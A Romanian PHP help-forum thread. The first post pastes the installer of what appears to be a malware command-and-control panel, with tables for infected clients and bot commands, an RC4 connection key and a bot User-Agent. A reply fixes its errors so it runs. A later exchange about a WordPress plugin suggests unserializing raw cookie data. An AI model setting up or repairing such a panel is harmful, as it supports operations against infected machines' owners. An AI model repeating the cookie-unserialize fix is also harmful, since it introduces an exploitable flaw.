Jump to content
luca123

Am o eroare in php care arata asa

Recommended Posts

Posted

Notice: Undefined variable: Perm in C:\xampp\htdocs\b\install.php on line 4

Notice: Undefined variable: Pass in C:\xampp\htdocs\b\install.php on line 4

Notice: Undefined variable: Perm in C:\xampp\htdocs\b\install.php on line 4

Notice: Undefined variable: Configs2 in C:\xampp\htdocs\b\install.php on line 4

Notice: Undefined variable: Perm in C:\xampp\htdocs\b\install.php on line 4

Notice: Undefined variable: Sql in C:\xampp\htdocs\b\install.php on line 4

Notice: Undefined index: msj in C:\xampp\htdocs\b\install.php on line 170

Acesta este scriptul

<?php
@session_start();

if ($Pass == $Perm && $Configs2 == $Perm && $Sql == $Perm) {
if (isset($_POST['server'])) {
$sqluser = $_POST['sqluser'];
if (!@mysql_connect($_POST['server'], $_POST['sqluser'], '' . $_POST['password'])) {
$_SESSION['msj'] = "Cannot connect to the MYSQL server";
} else {
if (!@mysql_select_db($_POST['dbase'])) {
$_SESSION['msj'] = "Cannot connect with the Database";
} else {

$fp = fopen('inc/config.php', 'w');
fwrite($fp, '<?php');
fwrite($fp, "\r\n");
fwrite($fp, '$server = ');
fwrite($fp, "'");
fwrite($fp, $_POST['server']);
fwrite($fp, "';");
fwrite($fp, "\r\n");
fwrite($fp, '$user = ');
fwrite($fp, "'");
fwrite($fp, $_POST['sqluser']);
fwrite($fp, "';");
fwrite($fp, "\r\n");
fwrite($fp, '$pass = ');
fwrite($fp, "'");
fwrite($fp, $_POST['password']);
fwrite($fp, "';");
fwrite($fp, "\r\n");
fwrite($fp, '$db = ');
fwrite($fp, "'");
fwrite($fp, $_POST['dbase']);
fwrite($fp, "';");
fwrite($fp, "\r\n");
fwrite($fp, '$correctuser = ');
fwrite($fp, "'");
fwrite($fp, base64_encode($_POST['user']));
fwrite($fp, "';");
fwrite($fp, "\r\n");
fwrite($fp, '$correctpass = ');
fwrite($fp, "'");
fwrite($fp, md5($_POST['pass']));
fwrite($fp, "';");
fwrite($fp, "\r\n");
fwrite($fp, '$usa = ');
fwrite($fp, '"');
fwrite($fp, $_POST['ua']);
fwrite($fp, '";');
fwrite($fp, "\r\n");
fwrite($fp, '$RC4 = ');
fwrite($fp, '"');
fwrite($fp, $_POST['rc']);
fwrite($fp, '";');
fwrite($fp, "\r\n");
fwrite($fp, 'mysql_connect($server, $user, $pass);');
fwrite($fp, "\r\n");
fwrite($fp, 'mysql_select_db($db);');
fwrite($fp, "\r\n");
fwrite($fp, '?>');
fclose($fp);

mysql_connect($_POST['server'], $_POST['sqluser'], $_POST['password']);
mysql_select_db($_POST['dbase']);

mysql_query("CREATE TABLE `clients`(
`id` int(255) NOT NULL auto_increment,
`hid` varchar(255) NOT NULL,
`ip` varchar(45) NOT NULL,
`cc` varchar(3) NOT NULL,
`time` int(255) NOT NULL,
`userandpc` varchar(255) NOT NULL,
`admin` varchar(255) NOT NULL,
`os` varchar(255) NOT NULL,
`hst` varchar(255) NOT NULL,
`pos` varchar(255) NOT NULL,
`ky` varchar(255) NOT NULL,
`arc` varchar(255) NOT NULL,
`fw` varchar(255) NOT NULL,
`user` varchar(255) NOT NULL,
`ram` varchar(255) NOT NULL,
`cpu` varchar(255) NOT NULL,
`gpu` varchar(255) NOT NULL,
`hd` varchar(255) NOT NULL,
`status` varchar(255) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `ip` (`ip`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=6;");

mysql_query("CREATE TABLE `commands`(
`id` int(255) NOT NULL auto_increment,
`hwid` varchar(255) NOT NULL,
`botid` int(255) NOT NULL,
`cmd` varchar(255) NOT NULL,
`variable` varchar(255) NOT NULL,
`viewed` int(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=8;");

@unlink("install.php");
@unlink("css/style-ins.css");
@unlink("js/placeholder.js");
echo '<meta http-equiv="refresh" content="0;URL=index.php">';
}
}
}

} else {

}

$n = rand(1,6);

?>

<html>
<head>
<title>
Installer
</title>
<link rel="stylesheet" type="text/css" href="css/style-ins.css" />
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.min.js">
</script>
<script src="http://www.modernizr.com/downloads/modernizr-latest.js">
</script>
<script type="text/javascript" src="js/placeholder.js">
</script>
</head>
<body>
<form id="slick-login" method="post">
<center>
<img src="img/kartoxa<?echo $n;?>.png" height="150" weight="150"/>
</center>
<label for="username">
username
</label>
<input type="text" maxlength="8" name="user" class="placeholder" placeholder="Panel User" required="required">
<label for="username">
Password
</label>
<input type="text" name="pass" class="placeholder" placeholder="Panel Password" required="required">
<label for="username">
useragen
</label>
<input type="text" name="ua" class="placeholder" placeholder="User-Agent" required="required">
<label for="username">
rc4key
</label>
<input type="text" name="rc" class="placeholder" placeholder="Connection Key" required="required">
<label for="username">
sqlserve
</label>
<input type="text" name="server" class="placeholder" placeholder="MySQL server" required="required">
<label for="username">
sqluser
</label>
<input type="text" name="sqluser" class="placeholder" placeholder="MySQL User" required="required">
<label for="username">
sqlpass
</label>
<input type="text" name="password" class="placeholder" placeholder="MySQL Password" required="required">
<label for="username">
dabname
</label>
<input type="text" name="dbase" class="placeholder" placeholder="MySQL Database" required="required">
<input type="submit" value="Install" name="sendform">
</form>
<span id="advices" style="color:#F90000">
<?php echo $_SESSION['msj'];?>
</span>
<br>
</body>
</html>

folosesc php 5.3

Posted
<?php

@session_start();

$Pass = '';

$Perm = '';

$Configs2 = '';

$Sql = '';

if ($Pass == $Perm && $Configs2 == $Perm && $Sql == $Perm) {

Pentru ca nu sunt definite si le poti verifica cu isset daca le preiei prin post ceva.

Posted

ca sa nu mai deschid alt thread...

Warning: Invalid argument supplied for foreach() in D:\xamp\htdocs\db\wp-content\plugins\indeed-smart-popup\indeed-smart-popup.php on line 122

	}

global $visit_pages_arr;

if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){

foreach($_COOKIE['visit_pages'] as $k=>$v){

$visit_pages = $v+1;

unset($_COOKIE['visit_pages'][$k]);

setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/");

$visit_pages_arr[$k] = $visit_pages;

}

}

}

line 122 =

	 foreach($_COOKIE['visit_pages'] as $k=>$v){

mul?am.

Posted

@spider incearca asa

}

global $visit_pages_arr;

if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){

$visitpg = unserialize($_COOKIE['visit_pages']);

foreach($visitpg as $k=>$v){

$visit_pages = $v+1;

unset($_COOKIE['visit_pages'][$k]);

setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/");

$visit_pages_arr[$k] = $visit_pages;

}

}

}

p.s nu am testat, scuze daca nu merge...

  • Upvote 1
Posted

nu merge, apar alte erori acum

Warning: unserialize() expects parameter 1 to be string, array given in D:\xamp\htdocs\db\wp-content\plugins\indeed-smart-popup\indeed-smart-popup.php on line 125

Warning: Invalid argument supplied for foreach() in D:\xamp\htdocs\db\wp-content\plugins\indeed-smart-popup\indeed-smart-popup.php on line 127

	}

global $visit_pages_arr;

if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){

$visitpg = unserialize($_COOKIE['visit_pages']);

foreach($visitpg as $k=>$v){

$visit_pages = $v+1;

unset($_COOKIE['visit_pages'][$k]);

setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/");

$visit_pages_arr[$k] = $visit_pages;

}

}

}

linia 125

    	$visitpg = unserialize($_COOKIE['visit_pages']);

127

  foreach($visitpg as $k=>$v){

mersi oricum !

Posted (edited)

$_COOKIE['visit_pages'] trebuie sa fie array. Este ?

Daca in loc de $_COOKEI['visits_pages'] pui array-ul

$vp = array(
"1" => "2",
"3" => "4",
);

iti va functiona perfect.

Daca nu stii cum sa salvezi corect un array in cookies:

setcookie('cookie', serialize($info), time()+3600);  Then unserialize data:
$data = unserialize($_COOKIE['cookie']);

Edited by pedala1
Posted

 <?php

$_COOKIE['visit_pages'] = array(
'cookie_1' => 'heelo',
'cookie_2' => 'woot?',
'cookie_3' => 'michaeljacsooon',
'cookie_4' => 'itisworking?'
);


//cookie set?
//if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){

//check if is of array type
if(is_array($_COOKIE['visit_pages'])){

foreach($_COOKIE['visit_pages'] as $k=>$v){

$visit_pages = $v + 1;
unset($_COOKIE['visit_pages'][$k]);

setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/");

$visit_pages_arr[$k] = $visit_pages;

var_dump($_COOKIE['visit_pages']);

}

} else {
//is not array?


print 'Is not array type!';


}
//}

?>

Results:

array (size=3)
'cookie_2' => string 'woot?' (length=5)
'cookie_3' => string 'michaeljacsooon' (length=15)
'cookie_4' => string 'itisworking?' (length=12)

array (size=2)
'cookie_3' => string 'michaeljacsooon' (length=15)
'cookie_4' => string 'itisworking?' (length=12)

array (size=1)
'cookie_4' => string 'itisworking?' (length=12)

array (size=0)
empty

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...